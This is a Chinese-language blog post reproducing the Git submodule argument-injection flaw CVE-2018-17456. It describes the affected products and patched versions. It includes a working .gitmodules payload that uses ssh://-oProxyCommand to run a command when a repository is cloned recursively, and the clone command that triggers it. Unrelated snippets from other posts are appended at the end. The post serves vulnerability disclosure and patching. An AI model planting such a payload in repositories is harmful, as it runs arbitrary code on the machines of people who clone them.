Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456)
国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节。10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456。当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码。
漏洞描述
这个漏洞已被分配CVE-2018-17456这个唯一 ID,与之前的CVE-2017-1000117可选注入漏洞相似 —— 恶意仓库可以新建一个.gitmodules文件,其中包含以破折号开头的 URL。
通过破折号,当 Git 使用 --recurse-submodules 参数来克隆仓库时,该命令会将 URL 翻译为一个选项,然后可以使用该选项在计算机上进行远程代码执行。
当运行 git clone --recurse-submodules 时,Git 会解析 .gitmodules文件中的 URL 字段,然后将其作为参数传递给 git clone子进程。如果 URL 字段是一个字符串,并使用短划线开头,这个git clone子进程将会把 URL 翻译为一个选项。这可能导致用户运行 "git clone" 时,会执行superproject中的任意脚本。
受影响的产品
GitHub桌面
GitHub Desktop 1.4.1及更早版本包含受此漏洞影响的嵌入式Git。
Atom
Atom包含了相同的嵌入式Git,也受到了影响。版本1.31.2和1.32.0-beta3包括补丁。
Git命令行
Git在命令行和其他客户端上
漏洞复现
以mac os的git命令行, 版本为2.10.1

- 0x1 首先在github创建一个仓库,然后传一个
.gitmodules文件,里面写入payload:
[submodule "test"]
path = test
url = ssh://-oProxyCommand=touch JimZ-test/git@github.com:/timwr/test.git
如果执行了touch JimZ-test,则存在漏洞。
自此我们的恶意仓库创建完成。
- 0x2 用靶机打开受影响的git,然后输入payload
git clone https://github.com/zhengjim/CVE-2018-17456.git --recurse-submodules

然后ls CVE-2018-17456 查看

存在JimZ-test文件 ,证明执行了touch JimZ-test
复现成功
修复方案
此漏洞已在 Git v2.19.1 (with backports in v2.14.5, v2.15.3, v2.16.5, v2.17.2, and v2.18.1), GitHub Desktop 1.4.2, Github Desktop 1.4.3-beta0, Atom 1.31.2 和 Atom 1.32.0-beta3 中得到修复
将 git 命令行工具更新至 git 官方发布的最新版本。
Github Desktop 更新至 1.4.2、1.4.3-beta0 版本。
Atom 更新至 1.31.2、1.32.0-beta3 版本。
参考文章
- https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg
- https://zhuanlan.kanxue.com/article-5210.htm
- http://hackernews.cc/archives/24216
Git漏洞允许任意代码执行(CVE-2018-17456)复现的更多相关文章
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_ ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
- seacms_6.4.5 前台任意代码执行漏洞分析
环境搭建 1.下载安装包 下载地址: 链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw 密码:cd48 2.常规安装 漏洞复现 poc1: http ...
随机推荐
- Core在类中注入
private readonly IHttpClientFactory _iHttpClientFactory; public static NetHelper Get = new NetHelper ...
- PC端实现微信登录浅析
二维码 首先,二维码在编制上巧妙地利用构成计算机内部逻辑基础的“0”.“1”比特流的概念,使用若干个与二进制相对应的几何形体来表示文字数值信息,通过图象输入设备或光电扫描设备自动识读以实现信息自动处理 ...
- 微软开源大规模数据处理项目 Data Accelerator
微软开源了一个原为内部使用的大规模数据处理项目 Data Accelerator.自 2017 年开发以来,该项目已经大规模应用在各种微软产品工作管道上. 据微软官方开源博客介绍,Data Accel ...
- Python学习的相关文件链接
1.如何用 Python 模糊搜索文件 用循环来实现逐个比对,素材链接:https://files.cnblogs.com/files/Lamfai/script_project1_files. ...
- sql查询重复值
SELECT COUNT(字段name) AS con,字段name,重复字段pc FROM 表名 GROUP BY 重复字段pc HAVING con>=
- 微服务框架——SpringCloud(三)
1.Zuul服务网关 作用:路由转发和过滤,将请求转发到微服务或拦截请求.Zuul默认集成了负载均衡功能. 2.Zuul实现路由 a.新建springboot项目,依赖选择 Eureka Discov ...
- Ubuntu 18.04 系统配置 NPM环境和mysql数据库问题解决
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境. Node.js 使用了一个事件驱动.非阻塞式 I/O 的模型,使其轻量又高效. 今天我就为大家 使用 Ubun ...
- Exp5 MSF基础应用 20164302 王一帆
1.实验内容 1.1实验要求 一个主动攻击实践,ms08_067; 一个针对浏览器的攻击,MS10-018(成功且唯一),MS12-004(成功且唯一): 一个针对客户端的攻击,adobe_toolb ...
- 新装云服务器没有iptables 文件,并且无法通过service iptables save操作
在安装zookeeper时,需要放开端口2181 按照视频教程在 /etc/sysconfig/ 下对iptables 文件进行编辑,但是该目录下没有此文件 通过强行写iptables -P OUT ...
- BZOJ1431 : MLand
考虑任意一棵生成树,它的代价是一个一次函数. 因此所有生成树的最小值随着时间变化呈现出的是一个上凸壳. 三分查找最大值即可. 时间复杂度$O(m\log m\log w)$. #include< ...